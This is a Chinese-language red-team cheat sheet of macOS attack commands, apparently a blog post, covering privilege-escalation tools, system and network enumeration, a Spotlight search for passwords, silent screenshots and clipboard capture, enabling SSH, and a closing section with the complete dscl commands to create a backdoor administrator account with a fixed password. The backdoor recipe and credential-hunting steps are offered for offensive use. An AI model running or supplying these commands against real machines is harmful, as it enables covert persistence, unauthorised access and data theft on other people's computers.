MacOS紅隊常用攻擊命令
- 1.自動化武器
- 2.系統信息
- 3.服務 & 內核信息
- 4.快捷命令
- 5.網絡相關
- 6.brew相關 / 軟件包相關
- 7.高權限命令
- 8.創建一個管理員權限的后門用戶
1.自動化武器
1、linPEAS
LinPEAS 是一個腳本,用于在 Linux/Unix/MacOS 主機上搜索提權路徑
2、metasploit攻擊腳本
3、SwiftBelt
macOS 系統上的枚舉工具
2.系統信息
# 查看系統日期
date
# 查看日歷
cal
# 查看系統已運行時間
uptime
# 查看當前已登陸用戶
w
# 當前用戶
whoami
# 查看指定用戶詳細信息
finger root
# 完整的系統信息
uname -a
# 磁盤狀態
df
3.服務 & 內核信息
# 查看正在運行的 launchd 任務(macOS 和 iOS 系統中的系統初始化進程)
launchctl list
# 計劃任務
atq
# 內核所有配置項
sysctl -a
# 列出所有磁盤及分區
diskutil list
# top風格查看各進程網絡使用情況
nettop
system_profiler 系統報告:
system_profiler SPSoftwareDataType # 系統信息
system_profiler SPPrintersDataType # 打印機信息
system_profiler SPApplicationsDataType # 已安裝的應用程序信息
system_profiler SPFrameworksDataType # 已安裝的框架信息
system_profiler SPDeveloperToolsDataType # 開發者工具信息
system_profiler SPStartupItemDataType # 啟動項信息
system_profiler SPNetworkDataType # 網絡配置能力信息
system_profiler SPFirewallDataType # 防火墻狀態
system_profiler SPNetworkLocationDataType # 已知網絡位置
system_profiler SPBluetoothDataType # 藍牙信息
system_profiler SPEthernetDataType # 以太網信息
system_profiler SPUSBDataType # USB 設備信息
system_profiler SPAirPortDataType # 無線網卡(AirPort)信息
4.快捷命令
# 利用 Spotlight 搜索含有 password 的內容,全文搜索
mdfind password
# 隱藏的打開一個應用
open -a <Application Name> --hide
# 使用 TextEdit 工具打開文件 some.doc
open some.doc -a TextEdit
# 防止系統進入睡眠狀態
caffeinate &
# 截圖并保存為圖片 /tmp/ss.jpg(需要打開終端應用錄屏權限)
screencapture -x /tmp/ss.jpg
# 獲取剪切板內容
pbpaste
# 有趣的語音功能(用西班牙語語音朗讀:你好嗎)
say 你好嗎 -v diego
5.網絡相關
# 查看本機的 ARP 緩存
arp -i en0 -l -a
# 查看監聽中的端口及進程
lsof -i -P -n | grep LISTEN
# 查看掛載的 SMB 網絡共享
smbutil statshares -a
# 列出所有網絡服務
networksetup -listallnetworkservices
# 列出所有硬件接口
networksetup -listallhardwareports
# 查看wifi鏈接信息
networksetup -getinfo Wi-Fi
# 查看wifi使用的http代理
networksetup -getwebproxy Wi-Fi
# 自動代理URL
networksetup -getautoproxyurl Wi-Fi
6.brew相關 / 軟件包相關
1、brew相關
# 列出所有軟件包
brew list
# 搜索包
brew search <text>
# 包信息
brew info <formula>
# 安裝/卸載包
brew install/uninstall <formula>
# 清除舊版本包和無用文件
brew cleanup
2、軟件包相關
# 查看系統中安裝的所有應用程序,包括它們的版本、路徑、最后打開時間等詳細信息
system_profiler SPApplicationsDataType
# 列出系統中安裝的所有框架(Frameworks),比如 macOS 系統組件、動態鏈接庫等
system_profiler SPFrameworksDataType
# 列出當前系統中運行的圖形應用程序
lsappinfo list
# 列出當前用戶和系統層級的所有 launchd 服務(守護進程和代理),包括它們的服務名稱、PID(進程 ID)和最近的退出狀態
launchctl list
7.高權限命令
下面的命令需要 root 權限才可以使用:
# 手動清理未使用的內存(RAM)緩存
sudo purge
# 開啟系統的 SSH 服務,允許其他設備通過 SSH 遠程登錄這臺 Mac
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
# 與上面相反,這條命令會關閉 SSH 服務,并禁止遠程通過 SSH 登錄
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
# 控制內置 Apache HTTP 服務器
sudo apachectl (start|status|restart|stop)
# 清除 DNS 緩存(重置網絡域名解析用于釣魚的常用手段)
dscacheutil -flushcache
# 強制重啟 mDNSResponder 進程,效果類似于徹底刷新 DNS 緩存
sudo killall -HUP mDNSResponder
8.創建一個管理員權限的后門用戶
# 創建本地用戶 tccadmin
sudo dscl . -create /Users/tccadmin
# 設置用戶密碼為 tcc123
sudo dscl . -passwd /Users/tccadmin tcc123
# 設置用戶真實名稱
sudo dscl . -create /Users/tccadmin RealName "TCC Admin"
# 設置用戶主目錄路徑
sudo dscl . -create /Users/tccadmin NFSHomeDirectory /Users/tccadmin
# 設置默認 shell 為 zsh
sudo dscl . -create /Users/tccadmin UserShell /bin/zsh
# 設置用戶唯一ID(注意不要與現有用戶沖突)
sudo dscl . -create /Users/tccadmin UniqueID 1013
# 設置主組為 admin 組(組 ID 為 80)
sudo dscl . -create /Users/tccadmin PrimaryGroupID 80
# 將該用戶添加到 admin 管理員組中
sudo dscl . -append /Groups/admin GroupMembership tccadmin